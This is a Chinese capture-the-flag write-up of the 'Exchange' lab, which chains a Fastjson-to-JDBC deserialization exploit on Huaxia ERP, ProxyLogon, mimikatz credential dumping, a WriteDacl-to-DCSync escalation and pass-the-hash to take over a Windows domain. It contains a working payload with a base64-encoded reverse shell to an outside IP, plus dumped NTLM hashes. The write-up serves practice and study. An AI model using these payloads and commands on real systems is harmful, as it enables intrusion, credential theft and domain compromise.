文章

春秋云镜-Exchange

春秋云镜-Exchange

flag1(华夏erp的Fastjson)

1
2
3
4
5
6
7
8
9
start infoscan
39.99.138.162:8000 open
39.99.138.162:80 open
39.99.138.162:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.138.162      code:200 len:19813  title:lumia
[*] WebTitle http://39.99.138.162:8000 code:302 len:0      title:None 跳转url: http://39.99.138.162:8000/login.html
[*] WebTitle http://39.99.138.162:8000/login.html code:200 len:5662   title:Lumia ERP

登录页面官方网站那里跳转的是华夏erp官网,结合网站标题是华夏erp 2.3版本的框架

1779494888807

参考[华夏erp账号密码泄露+后台rce(最新组合漏洞)CN-SEC 中文网](https://cn-sec.com/archives/1798444.html)

Java 代码审计之华夏 ERP CMS v2.3 - FreeBuf网络安全行业门户

发现Fastjson 反序列化

构造dns请求验证一下

1
{"@type":"java.net.Inet4Address","val":"ysgbayuskh.iyhc.eu.org"}

1779495078067

这里我们可以通过evil-mysql-server和ysoserial构造恶意mysql服务打jdbc

1
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "8.148.230.29",
		"portToConnectTo": 3306,
		"info": {
			"user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0OC4yMzAuMjkvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}

1778871713084

1
/user/list?search=URL编码后的payload&currentPage=1&pageSize=15

1778871725918

成功反弹shell

1778871747135

得到flag1

flag2(proxylogon漏洞)

fscan扫描,socks搭代理

1778872084342

扫到3台机子

1
2
3
172.22.3.9 XIAORANG-EXC01
172.22.3.2  DC:XIAORANG-WIN16.xiaorang.lab
172.22.3.26 XIAORANG-PC

172.22.3.9上有一个exchange服务

1779496690334

打完直接是system权限,添加管理员账号登录

1
proxychains4 python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab

拿到第二个flag

flag4(exchange的writeDacl特权添加DCSync权限)

发现flag2的机子在域内

1779496763385

需要一个域内机器用户账密来用bloodhound收集信息,上传mimikatz,管理员模式启动cmd抓密码

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
* Username : XIAORANG-EXC01$
     * Domain   : XIAORANG
     * NTLM     : 03f85390c6b52fc32168f8a5af38c904
     * SHA1     : b1a7824f98364b0b2dd20ee8be288a970066ad91
    tspkg : 
    wdigest :   
     * Username : XIAORANG-EXC01$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :  
     * Username : XIAORANG-EXC01$
     * Domain   : xiaorang.lab

User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2025/3/5 21:15:54
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
    msv :   
     [00000003] Primary
     * Username : Zhangtong
     * Domain   : XIAORANG
     * NTLM     : 22c7f81993e96ac83ac2f3f1903de8b4
     * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
     * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
    kerberos :  
     * Username : Zhangtong
     * Domain   : XIAORANG.LAB
     * Password : (null)

接着利用域内机器用户XIAORANG-EXC01$的hash去收集域内信息

1
proxychains4 -q bloodhound-python -u "XIAORANG-EXC01$" --hashes 03f85390c6b52fc32168f8a5af38c904:03f85390c6b52fc32168f8a5af38c904 -d xiaorang.lab -dc XIAORANG-WIN16.xiaorang.lab -c all --dns-tcp -ns 172.22.3.2 --auth-method ntlm --zip

1778873899179

writeDacl特权利用:

1779496979756

由上可知,在 exchange 服务器中,其机器用户都属于Exchange Windows Permissions组,且改组默认对域有WriteDacl权限,有权限修改对象ACL

通过bloodhound收集的信息也可以验证这一点

1779497004662

利用dacledit.py给Zhangtong用户添加DCSync权限

1
proxychains4 python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :03f85390c6b52fc32168f8a5af38c904 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

DCSync 攻击

1
proxychains4 impacket-secretsdump xiaorang.lab/Zhangtong@172.22.3.2  -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

-just-dc-ntlm 的作用: 只输出 NTLM 哈希,不输出 Kerberos key / 明文(更快更干净)

1778874706343

拿到administrator哈希之后进行pth拿到flag04

1
2
3
proxychains4 impacket-smbexec -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.2 -codec gbk

type C:\Users\Administrator\flag\flag.txt

flag3(利用pthexchange从exchange服务器导出邮件)

pthexchange 导出 Exchange 邮件

工具从exchange服务器导出邮件,用户名及对应密码hash值在前面SAM转储时已拿到,在导出Lumia用户邮件时发现两封邮件

1
proxychains4 python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download

1779497152314

一个邮件附件是加密压缩包,并提示用手机号加密;另一个邮件附件给了excel表,其中有手机号信息,将手机号导成密码字典

1779497178506

用ARCHPR进行爆破

1779497192206

打开得到最后一个flag

1779497204462

本文由作者按照 CC BY 4.0 进行授权